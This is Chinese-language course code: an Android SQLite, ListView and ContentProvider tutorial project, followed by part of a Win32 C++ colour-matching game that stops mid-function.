"itheima28.db", null, 2); } /** * 数据库第一次创建时回调此方法. * 初始化一些表 */ @Override public void onCreate(SQLiteDatabase db) { // 操作数据库 String sql = "create table person(_id integer primary key, name varchar(20), age integer);"; db.execSQL(sql); // 创建person表 } /** * 数据库的版本号更新时回调此方法, * 更新数据库的内容(删除表, 添加表, 修改表) */ @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { if(oldVersion == 1 && newVersion == 2) { Log.i(TAG, "数据库更新啦"); // 在person表中添加一个余额列balance db.execSQL("alter table person add balance integer;"); } } } package com.itheima28.sqlitedemo.entities; public class Person { private int id; private String name; private int age; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Person() { super(); // TODO Auto-generated constructor stub } public Person(int id, String name, int age) { super(); this.id = id; this.name = name; this.age = age; } @Override public String toString() { return "Person [id=" + id + ", name=" + name + ", age=" + age + "]"; } } package com.itheima28.sqlitedemo.test; import java.util.List; import com.itheima28.sqlitedemo.dao.PersonDao; import com.itheima28.sqlitedemo.db.PersonSQLiteOpenHelper; import com.itheima28.sqlitedemo.entities.Person; import android.database.SQLException; import android.database.sqlite.SQLiteDatabase; import android.test.AndroidTestCase; import android.util.Log; public class TestCase extends AndroidTestCase { private static final String TAG = "TestCase"; public void test() { // 数据库什么时候创建 PersonSQLiteOpenHelper openHelper = new PersonSQLiteOpenHelper(getContext()); // 第一次连接数据库时创建数据库文件. onCreate会被调用 openHelper.getReadableDatabase(); } public void testInsert() { PersonDao dao = new PersonDao(getContext()); dao.insert(new Person(0, "冠希", 28)); } public void testDelete() { PersonDao dao = new PersonDao(getContext()); dao.delete(1); } public void testUpdate() { PersonDao dao = new PersonDao(getContext()); dao.update(3, "凤姐"); } public void testQueryAll() { PersonDao dao = new PersonDao(getContext()); List<Person> personList = dao.queryAll(); for (Person person : personList) { Log.i(TAG, person.toString()); } } public void testQueryItem() { PersonDao dao = new PersonDao(getContext()); Person person = dao.queryItem(4); Log.i(TAG, person.toString()); } public void testTransaction() { PersonSQLiteOpenHelper openHelper = new PersonSQLiteOpenHelper(getContext()); SQLiteDatabase db = openHelper.getWritableDatabase(); if(db.isOpen()) { try { // 开启事务 db.beginTransaction(); // 1. 从张三账户中扣1000块钱 db.execSQL("update person set balance = balance - 1000 where name = 'zhangsan';"); // ATM机, 挂掉了. // int result = 10 / 0; // 2. 向李四账户中加1000块钱 db.execSQL("update person set balance = balance + 1000 where name = 'lisi';"); // 标记事务成功 db.setTransactionSuccessful(); } finally { // 停止事务 db.endTransaction(); } db.close(); } } public void testTransactionInsert() { PersonSQLiteOpenHelper openHelper = new PersonSQLiteOpenHelper(getContext()); SQLiteDatabase db = openHelper.getWritableDatabase(); if(db.isOpen()) { // 1. 记住当前的时间 long start = System.currentTimeMillis(); // 2. 开始添加数据 try { db.beginTransaction(); for (int i = 0; i < 10000; i++) { db.execSQL("insert into person(name, age, balance) values('wang" + i + "', " + (10 + i) + ", " + (10000 + i) + ")"); } db.setTransactionSuccessful(); } finally { db.endTransaction(); } // 3. 记住结束时间, 计算耗时时间 long end = System.currentTimeMillis(); long diff = end - start; Log.i(TAG, "耗时: " + diff + "毫秒"); db.close(); } } } <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.sqlitedemo" android:versionCode="1" android:versionName="1.0" > <instrumentation android:name="android.test.InstrumentationTestRunner" android:targetPackage="com.itheima28.sqlitedemo" > </instrumentation> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <uses-library android:name="android.test.runner" /> <activity android:name="com.itheima28.sqlitedemo.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> 使用api方式查询数据库和sqlite3工具 adb shell package com.itheima28.sqlitedemo.dao; import java.util.ArrayList; import java.util.List; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.util.Log; import com.itheima28.sqlitedemo.db.PersonSQLiteOpenHelper; import com.itheima28.sqlitedemo.entities.Person; public class PersonDao2 { private static final String TAG = "PersonDao2"; private PersonSQLiteOpenHelper mOpenHelper; // 数据库的帮助类对象 public PersonDao2(Context context) { mOpenHelper = new PersonSQLiteOpenHelper(context); } /** * 添加到person表一条数据 * @param person */ public void insert(Person person) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { // 如果数据库打开, 执行添加的操作 ContentValues values = new ContentValues(); values.put("name", person.getName()); // key作为要存储的列名, value对象列的值 values.put("age", person.getAge()); long id = db.insert("person", "name", values); Log.i(TAG, "id: " + id); db.close(); // 数据库关闭 } } /** * 更据id删除记录 * @param id */ public void delete(int id) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); // 获得可写的数据库对象 if(db.isOpen()) { // 如果数据库打开, 执行添加的操作 String whereClause = "_id = ?"; String[] whereArgs = {id + ""}; int count = db.delete("person", whereClause, whereArgs); Log.i(TAG, "删除了: " + count + "行"); db.close(); // 数据库关闭 } } /** * 根据id找到记录, 并且修改姓名 * @param id * @param name */ public void update(int id, String name) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { // 如果数据库打开, 执行添加的操作 ContentValues values = new ContentValues(); values.put("name", name); int count = db.update("person", values, "_id = ?", new String[]{id + ""}); Log.i(TAG, "修改了: " + count + "行"); db.close(); // 数据库关闭 } } public List<Person> queryAll() { SQLiteDatabase db = mOpenHelper.getReadableDatabase(); // 获得一个只读的数据库对象 if(db.isOpen()) { String[] columns = {"_id", "name", "age"}; // 需要的列 String selection = null; // 选择条件, 给null查询所有 String[] selectionArgs = null; // 选择条件的参数, 会把选择条件中的? 替换成数据中的值 String groupBy = null; // 分组语句 group by name String having = null; // 过滤语句 String orderBy = null; // 排序 Cursor cursor = db.query("person", columns, selection, selectionArgs, groupBy, having, orderBy); int id; String name; int age; if(cursor != null && cursor.getCount() > 0) { List<Person> personList = new ArrayList<Person>(); while(cursor.moveToNext()) { // 向下移一位, 知道最后一位, 不可以往下移动了, 停止. id = cursor.getInt(0); name = cursor.getString(1); age = cursor.getInt(2); personList.add(new Person(id, name, age)); } db.close(); return personList; } db.close(); } return null; } /** * 根据id查询人 * @param id * @return */ public Person queryItem(int id) { SQLiteDatabase db = mOpenHelper.getReadableDatabase(); // 获得一个只读的数据库对象 if(db.isOpen()) { String[] columns = {"_id", "name", "age"}; // 需要的列 String selection = "_id = ?"; // 选择条件, 给null查询所有 String[] selectionArgs = {id + ""}; // 选择条件的参数, 会把选择条件中的? 替换成数据中的值 String groupBy = null; // 分组语句 group by name String having = null; // 过滤语句 String orderBy = null; // 排序 Cursor cursor = db.query("person", columns, selection, selectionArgs, groupBy, having, orderBy); if(cursor != null && cursor.moveToFirst()) { // cursor对象不为null, 并且可以移动到第一行 int _id = cursor.getInt(0); String name = cursor.getString(1); int age = cursor.getInt(2); db.close(); return new Person(_id, name, age); } db.close(); } return null; } } package com.itheima28.sqlitedemo.test; import java.util.List; import android.test.AndroidTestCase; import android.util.Log; import com.itheima28.sqlitedemo.dao.PersonDao2; import com.itheima28.sqlitedemo.db.PersonSQLiteOpenHelper; import com.itheima28.sqlitedemo.entities.Person; public class TestCase2 extends AndroidTestCase { private static final String TAG = "TestCase"; public void test() { // 数据库什么时候创建 PersonSQLiteOpenHelper openHelper = new PersonSQLiteOpenHelper(getContext()); // 第一次连接数据库时创建数据库文件. onCreate会被调用 openHelper.getReadableDatabase(); } public void testInsert() { PersonDao2 dao = new PersonDao2(getContext()); dao.insert(new Person(0, "zhouqi", 88)); } public void testDelete() { PersonDao2 dao = new PersonDao2(getContext()); dao.delete(8); } public void testUpdate() { PersonDao2 dao = new PersonDao2(getContext()); dao.update(3, "fengjie"); } public void testQueryAll() { PersonDao2 dao = new PersonDao2(getContext()); List<Person> personList = dao.queryAll(); for (Person person : personList) { Log.i(TAG, person.toString()); } } public void testQueryItem() { PersonDao2 dao = new PersonDao2(getContext()); Person person = dao.queryItem(4); Log.i(TAG, person.toString()); } } 事务的操作 事务: update person set balance = balance - 100 where name = 'lisi'; update person set balance = balance + 100 where name = 'zhangsan'; // 开启事务 db.beginTransaction(); // 标记事务成功 db.setTransactionSuccessful(); // 停止事务 db.endTransaction(); public void testTransaction() { PersonSQLiteOpenHelper openHelper = new PersonSQLiteOpenHelper(getContext()); SQLiteDatabase db = openHelper.getWritableDatabase(); if(db.isOpen()) { try { // 开启事务 db.beginTransaction(); // 1. 从张三账户中扣1000块钱 db.execSQL("update person set balance = balance - 1000 where name = 'zhangsan';"); // ATM机, 挂掉了. // int result = 10 / 0; // 2. 向李四账户中加1000块钱 db.execSQL("update person set balance = balance + 1000 where name = 'lisi';"); // 标记事务成功 db.setTransactionSuccessful(); } finally { // 停止事务 db.endTransaction(); } db.close(); } } public void testTransactionInsert() { PersonSQLiteOpenHelper openHelper = new PersonSQLiteOpenHelper(getContext()); SQLiteDatabase db = openHelper.getWritableDatabase(); if(db.isOpen()) { // 1. 记住当前的时间 long start = System.currentTimeMillis(); // 2. 开始添加数据 try { db.beginTransaction(); for (int i = 0; i < 10000; i++) { db.execSQL("insert into person(name, age, balance) values('wang" + i + "', " + (10 + i) + ", " + (10000 + i) + ")"); } db.setTransactionSuccessful(); } finally { db.endTransaction(); } // 3. 记住结束时间, 计算耗时时间 long end = System.currentTimeMillis(); long diff = end - start; Log.i(TAG, "耗时: " + diff + "毫秒"); db.close(); } } LinearLayout展示列表数据 <ScrollView xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" > <LinearLayout android:id="@+id/ll_list" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > </LinearLayout> </ScrollView> package com.itheima28.sqlitedemo; import java.util.List; import com.itheima28.sqlitedemo.dao.PersonDao; import com.itheima28.sqlitedemo.entities.Person; import android.os.Bundle; import android.app.Activity; import android.view.Menu; import android.view.View; import android.widget.LinearLayout; import android.widget.TextView; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); LinearLayout llList = (LinearLayout) findViewById(R.id.ll_list); PersonDao dao = new PersonDao(this); List<Person> personList = dao.queryAll(); if(personList != null) { TextView tv; for (Person person : personList) { // 向线性布局中添加一个textview tv = new TextView(this); tv.setText(person.toString()); tv.setTextSize(18); llList.addView(tv); } } } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } ListView的使用和BaseAdater <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <ListView android:id="@+id/listview" android:layout_width="match_parent" android:layout_height="match_parent" > </ListView> </LinearLayout> package com.itheima28.sqlitedemo; import java.util.List; import com.itheima28.sqlitedemo.dao.PersonDao; import com.itheima28.sqlitedemo.entities.Person; import android.os.Bundle; import android.app.Activity; import android.util.Log; import android.view.Menu; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.TextView; public class MainActivity extends Activity { private List<Person> personList; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ListView mListView = (ListView) findViewById(R.id.listview); PersonDao dao = new PersonDao(this); personList = dao.queryAll(); // 把view层对象ListView和控制器BaseAdapter关联起来 mListView.setAdapter(new MyAdapter()); } /** * @author andong * 数据适配器 */ class MyAdapter extends BaseAdapter { private static final String TAG = "MyAdapter"; /** * 定义ListView的数据的长度 */ @Override public int getCount() { return personList.size(); } @Override public Object getItem(int position) { // TODO Auto-generated method stub return null; } @Override public long getItemId(int position) { // TODO Auto-generated method stub return 0; } /** * 此方法返回的是ListView的列表中某一行的View对象 * position 当前返回的view的索引位置 * convertView 缓存对象 * parent 就是ListView对象 */ @Override public View getView(int position, View convertView, ViewGroup parent) { TextView tv = null; if(convertView != null) { // 判断缓存对象是否为null, 不为null时已经缓存了对象 Log.i(TAG, "getView: 复用缓存" + position); tv = (TextView) convertView; } else { // 等于null, 说明第一次显示, 新创建 Log.i(TAG, "getView: 新建" + position); tv = new TextView(MainActivity.this); } tv.setTextSize(25); Person person = personList.get(position); // 获得指定位置的数据, 进行对TextView的绑定 tv.setText(person.toString()); return tv; } } } package com.itheima28.sqlitedemo; import java.util.List; import com.itheima28.sqlitedemo.dao.PersonDao; import com.itheima28.sqlitedemo.entities.Person; import android.os.Bundle; import android.app.Activity; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.TextView; public class MainActivity2 extends Activity { private List<Person> personList; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ListView mListView = (ListView) findViewById(R.id.listview); PersonDao dao = new PersonDao(this); personList = dao.queryAll(); // 把view层对象ListView和控制器BaseAdapter关联起来 mListView.setAdapter(new MyAdapter()); } /** * @author andong * 数据适配器 */ class MyAdapter extends BaseAdapter { private static final String TAG = "MyAdapter"; /** * 定义ListView的数据的长度 */ @Override public int getCount() { return personList.size(); } @Override public Object getItem(int position) { // TODO Auto-generated method stub return null; } @Override public long getItemId(int position) { // TODO Auto-generated method stub return 0; } /** * 此方法返回的是ListView的列表中某一行的View对象 * position 当前返回的view的索引位置 * convertView 缓存对象 * parent 就是ListView对象 */ @Override public View getView(int position, View convertView, ViewGroup parent) { View view = null; if(convertView == null) { // 布局填充器对象, 用于把xml布局转换成view对象 LayoutInflater inflater = MainActivity2.this.getLayoutInflater(); view = inflater.inflate(R.layout.listview_item, null); } else { view = convertView; } // 给view中的姓名和年龄赋值 TextView tvName = (TextView) view.findViewById(R.id.tv_listview_item_name); TextView tvAge = (TextView) view.findViewById(R.id.tv_listview_item_age); Person person = personList.get(position); tvName.setText("姓名: " + person.getName()); tvAge.setText("年龄: " + person.getAge()); return view; } } } listview_item.xml <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal" android:padding="10dip" > <ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" android:src="@drawable/f078" /> <LinearLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10dip" android:orientation="vertical" > <TextView android:id="@+id/tv_listview_item_name" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="张三" /> <TextView android:id="@+id/tv_listview_item_age" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="5dip" android:textColor="#FF0000" android:text="35" /> </LinearLayout> </LinearLayout> 其他两种绑定ListView数据的方式 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" > <ListView android:id="@+id/listview" android:layout_width="match_parent" android:layout_height="match_parent" /> </RelativeLayout> listview_item.xml <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="wrap_content" android:gravity="center_vertical" android:orientation="horizontal" android:padding="10dip" > <ImageView android:id="@+id/iv_icon" android:layout_width="wrap_content" android:layout_height="wrap_content" android:src="@drawable/f007" /> <TextView android:id="@+id/tv_name" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="10dip" android:text="张三" android:textColor="#FF0000" android:textSize="23sp" /> </LinearLayout> package com.itheima28.simpleadapterdemo; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.widget.ArrayAdapter; import android.widget.ListView; import android.widget.SimpleAdapter; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ListView mListView = (ListView) findViewById(R.id.listview); List<Map<String, Object>> data = new ArrayList<Map<String,Object>>(); Map<String, Object> map = new HashMap<String, Object>(); map.put("name", "张三1"); map.put("icon", R.drawable.f007); data.add(map); map = new HashMap<String, Object>(); map.put("name", "张三2"); map.put("icon", R.drawable.f007); data.add(map); map = new HashMap<String, Object>(); map.put("name", "张三3"); map.put("icon", R.drawable.f007); data.add(map); map = new HashMap<String, Object>(); map.put("name", "张三4"); map.put("icon", R.drawable.f007); data.add(map); map = new HashMap<String, Object>(); map.put("name", "张三5"); map.put("icon", R.drawable.f007); data.add(map); SimpleAdapter adapter = new SimpleAdapter( this, // 上下文 data, // listView绑定的数据 R.layout.listview_item, // listview的子条目的布局的id new String[]{"name", "icon"}, // data数据中的map集合里的key new int[]{R.id.tv_name, R.id.iv_icon}); // resource 中的id mListView.setAdapter(adapter); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } 内容提供者创建 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.sqlitedemo" android:versionCode="1" android:versionName="1.0" > <instrumentation android:name="android.test.InstrumentationTestRunner" android:targetPackage="com.itheima28.sqlitedemo" > </instrumentation> <permission android:name="aa.bb.cc.read" ></permission> <permission android:name="aa.bb.cc.write" ></permission> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <uses-library android:name="android.test.runner" /> <activity android:name="com.itheima28.sqlitedemo.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <provider android:name=".providers.PersonContentProvider" android:authorities="com.itheima28.sqlitedemo.providers.PersonContentProvider" android:readPermission="aa.bb.cc.read" android:writePermission="aa.bb.cc.write" > </provider> </application> </manifest> package com.itheima28.sqlitedemo.providers; import com.itheima28.sqlitedemo.db.PersonSQLiteOpenHelper; import android.content.ContentProvider; import android.content.ContentUris; import android.content.ContentValues; import android.content.UriMatcher; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.net.Uri; public class PersonContentProvider extends ContentProvider { private static final String AUTHORITY = "com.itheima28.sqlitedemo.providers.PersonContentProvider"; private static final int PRESON_INSERT_CODE = 0; // 操作person表添加的操作的uri匹配码 private static final int PERSON_DELETE_CODE = 1; private static final int PERSON_UPDATE_CODE = 2; private static final int PERSON_QUERY_ALL_CODE = 3; private static final int PERSON_QUERY_ITEM_CODE = 4; private static UriMatcher uriMatcher; private PersonSQLiteOpenHelper mOpenHelper; // person表的数据库帮助对象 static { uriMatcher = new UriMatcher(UriMatcher.NO_MATCH); // 添加一些uri(分机号) // content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/insert uriMatcher.addURI(AUTHORITY, "person/insert", PRESON_INSERT_CODE); // content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/delete uriMatcher.addURI(AUTHORITY, "person/delete", PERSON_DELETE_CODE); // content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/update uriMatcher.addURI(AUTHORITY, "person/update", PERSON_UPDATE_CODE); // content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/queryAll uriMatcher.addURI(AUTHORITY, "person/queryAll", PERSON_QUERY_ALL_CODE); // content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/query/# uriMatcher.addURI(AUTHORITY, "person/query/#", PERSON_QUERY_ITEM_CODE); } @Override public boolean onCreate() { mOpenHelper = new PersonSQLiteOpenHelper(getContext()); return true; } @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { SQLiteDatabase db = mOpenHelper.getReadableDatabase(); switch (uriMatcher.match(uri)) { case PERSON_QUERY_ALL_CODE: // 查询所有人的uri if(db.isOpen()) { Cursor cursor = db.query("person", projection, selection, selectionArgs, null, null, sortOrder); return cursor; // db.close(); 返回cursor结果集时, 不可以关闭数据库 } break; case PERSON_QUERY_ITEM_CODE: // 查询的是单条数据, uri末尾出有一个id if(db.isOpen()) { long id = ContentUris.parseId(uri); Cursor cursor = db.query("person", projection, "_id = ?", new String[]{id + ""}, null, null, sortOrder); return cursor; } break; default: throw new IllegalArgumentException("uri不匹配: " + uri); } return null; } @Override public String getType(Uri uri) { switch (uriMatcher.match(uri)) { case PERSON_QUERY_ALL_CODE: // 返回多条的MIME-type return "vnd.android.cursor.dir/person"; case PERSON_QUERY_ITEM_CODE: // 返回单条的MIME-TYPE return "vnd.android.cursor.item/person"; default: break; } return null; } @Override public Uri insert(Uri uri, ContentValues values) { switch (uriMatcher.match(uri)) { case PRESON_INSERT_CODE: // 添加人到person表中 SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { long id = db.insert("person", null, values); db.close(); return ContentUris.withAppendedId(uri, id); } break; default: throw new IllegalArgumentException("uri不匹配: " + uri); } return null; } @Override public int delete(Uri uri, String selection, String[] selectionArgs) { switch (uriMatcher.match(uri)) { case PERSON_DELETE_CODE: // 在person表中删除数据的操作 SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { int count = db.delete("person", selection, selectionArgs); db.close(); return count; } break; default: throw new IllegalArgumentException("uri不匹配: " + uri); } return 0; } @Override public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { switch (uriMatcher.match(uri)) { case PERSON_UPDATE_CODE: // 更新person表的操作 SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { int count = db.update("person", values, selection, selectionArgs); db.close(); return count; } break; default: throw new IllegalArgumentException("uri不匹配: " + uri); } return 0; } } 内容提供者访问和权限 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.othercontentprovider" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <instrumentation android:name="android.test.InstrumentationTestRunner" android:targetPackage="com.itheima28.othercontentprovider" > </instrumentation> <uses-permission android:name="aa.bb.cc.read"/> <uses-permission android:name="aa.bb.cc.write"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <uses-library android:name="android.test.runner" /> <activity android:name="com.itheima28.othercontentprovider.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> package com.itheima28.othercontentprovider; import android.content.ContentResolver; import android.content.ContentUris; import android.content.ContentValues; import android.database.Cursor; import android.net.Uri; import android.test.AndroidTestCase; import android.util.Log; public class TextCase extends AndroidTestCase { private static final String TAG = "TextCase"; public void testInsert() { Uri uri = Uri.parse("content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/insert"); // 内容提供者访问对象 ContentResolver resolver = getContext().getContentResolver(); ContentValues values = new ContentValues(); values.put("name", "fengjie"); values.put("age", 90); uri = resolver.insert(uri, values); Log.i(TAG, "uri: " + uri); long id = ContentUris.parseId(uri); Log.i(TAG, "添加到: " + id); } public void testDelete() { Uri uri = Uri.parse("content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/delete"); // 内容提供者访问对象 ContentResolver resolver = getContext().getContentResolver(); String where = "_id = ?"; String[] selectionArgs = {"21"}; int count = resolver.delete(uri, where, selectionArgs); Log.i(TAG, "删除行: " + count); } public void testUpdate() { Uri uri = Uri.parse("content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/update"); // 内容提供者访问对象 ContentResolver resolver = getContext().getContentResolver(); ContentValues values = new ContentValues(); values.put("name", "lisi"); int count = resolver.update(uri, values, "_id = ?", new String[]{"20"}); Log.i(TAG, "更新行: " + count); } public void testQueryAll() { Uri uri = Uri.parse("content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/queryAll"); // 内容提供者访问对象 ContentResolver resolver = getContext().getContentResolver(); Cursor cursor = resolver.query(uri, new String[]{"_id", "name", "age"}, null, null, "_id desc"); if(cursor != null && cursor.getCount() > 0) { int id; String name; int age; while(cursor.moveToNext()) { id = cursor.getInt(0); name = cursor.getString(1); age = cursor.getInt(2); Log.i(TAG, "id: " + id + ", name: " + name + ", age: " + age); } cursor.close(); } } public void testQuerySingleItem() { Uri uri = Uri.parse("content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/query/#"); // 在uri的末尾添加一个id content://com.itheima28.sqlitedemo.providers.PersonContentProvider/person/query/20 uri = ContentUris.withAppendedId(uri, 20); // 内容提供者访问对象 ContentResolver resolver = getContext().getContentResolver(); Cursor cursor = resolver.query(uri, new String[]{"_id", "name", "age"}, null, null, null); if(cursor != null && cursor.moveToFirst()) { int id = cursor.getInt(0); String name = cursor.getString(1); int age = cursor.getInt(2); cursor.close(); Log.i(TAG, "id: " + id + ", name: " + name + ", age: " + age); } } }
择善教育公开课 //{{NO_DEPENDENCIES}} // Microsoft Visual C++ 生成的包含文件。 // 供 BrainMaster.rc 使用 // #define IDD_DIALOG_MAIN 101 #define IDC_BTN_START 1001 #define IDC_BUTTON_CHANGE_COLOR 1002 #define IDC_SLIDER_DIF 1003 #define IDC_STATIC_DIF 1004 #define IDC_COLORNOW 1005 #define IDC_GAME_AREA 1006 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 102 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif #include <stdio.h> #include <windows.h> #include <CommCtrl.h> #include <list> using namespace std; #include "resource.h" typedef struct _gameRect{ RECT rect; //保存一个色块的位置信息 COLORREF rgb;// 保存一个色块的颜色信息 bool Win;// 保存这个色块是否唯一的颜色,即正确色块 }GameRect; typedef list<GameRect> GameList; //游戏色块链表数据类型 GameList g_GameList; // 链表 HINSTANCE g_hInstance; COLORREF g_ColorNow; // 全局变量保存当前颜色 unsigned int g_GameDiff;//当前游戏难度 unsigned int g_Stage; // 当前第几关? // 生成随机数 ...0~base DWORD GetRandrom(DWORD base) { DWORD result; __asm{ rdtsc mov result,eax } return result%base; } // 生成本次游戏的数据 void OnInitStageData(HWND hWnd) { g_GameList.clear(); // 清空原来的链表信息 DWORD nItemNum = g_Stage + 3; // 当前关卡需要显示多少个色块? if (nItemNum>8) { nItemNum = 8; } HWND GameWnd = GetDlgItem(hWnd, IDC_GAME_AREA); // 获取游戏区域的句柄 RECT WndRect; GetWindowRect(GameWnd, &WndRect); //获取游戏区域的大小 DWORD nWidth = WndRect.right - WndRect.left; DWORD nHeight = WndRect.bottom - WndRect.top; DWORD WinItemIndex = GetRandrom(nItemNum); // 生成一个随机数,指示哪一个色块是正确滴 DWORD nItemCntRow = 3; DWORD nItemCntColumn = (nItemNum % 3) ? nItemNum / 3 + 1 : nItemNum / 3;//计算需要多少行色块 DWORD nItemWidth = (nWidth - 10) / nItemCntRow; // 每个色块的宽度 DWORD nItemHeight = (nHeight - 10) / nItemCntColumn;// 每个色块的高度 for (DWORD i = 0; i <= nItemNum;i++) { GameRect gRect; gRect.rect.left = 10 + (i % 3)*nItemWidth; gRect.rect.right = gRect.rect.left + nItemWidth - 10; gRect.rect.top = 10 + (i / 3)*nItemHeight; gRect.rect.bottom = gRect.rect.top + nItemHeight - 10; gRect.rgb = g_ColorNow; // 正常的颜色 gRect.Win = false; //大部分的色块不是正确答案 if (i == WinItemIndex) { byte r = GetRValue(g_ColorNow) > 125 ? GetRValue(g_ColorNow) - g_GameDiff : GetRValue(g_ColorNow) + g_GameDiff; byte g = GetGValue(g_ColorNow) > 125 ? GetGValue(g_ColorNow) - g_GameDiff : GetGValue(g_ColorNow) + g_GameDiff; byte b = GetBValue(g_ColorNow) > 125 ? GetBValue(g_ColorNow) - g_GameDiff : GetBValue(g_ColorNow) + g_GameDiff; gRect.rgb = RGB(r, g, b); gRect.Win = TRUE; } g_GameList.push_back(gRect); } return; } void OnShowStage(HWND hWnd) { HWND GameWnd = GetDlgItem(hWnd, IDC_GAME_AREA); HDC hdc = GetDC(GameWnd); GameList::iterator iter = g_GameList.begin(); // 遍历链表,取出每个色块的信息,并按信息去进行绘图 for (; iter != g_GameList.end();iter++) { GameRect gameRect = *iter; HBRUSH hBrush = CreateSolidBrush(gameRect.rgb); HBRUSH hOldBrush = (HBRUSH)SelectObject(hdc, hBrush); Rectangle(hdc, gameRect.rect.left, gameRect.rect.top, gameRect.rect.right, gameRect.rect.bottom); SelectObject(hdc, hOldBrush); } ReleaseDC(GameWnd, hdc); return; } // 功能:更新当前颜色 bool OnChangeColor(HWND hWnd) { HWND hColorWnd = GetDlgItem(hWnd, IDC_COLORNOW);//获取当前颜色指示器控件的句柄 // 初始化一个结构体... CHOOSECOLOR chs; memset(&chs, 0, sizeof(CHOOSECOLOR)); chs.lStructSize = sizeof(CHOOSECOLOR); chs.hwndOwner = hColorWnd; chs.rgbResult = g_ColorNow; chs.lpCustColors = &g_ColorNow; chs.Flags = CC_ANYCOLOR | CC_RGBINIT; ChooseColor(&chs); g_ColorNow = chs.rgbResult; //获取到选择的颜色 HDC hdc = GetDC(hColorWnd); RECT rect; GetWindowRect(hColorWnd, 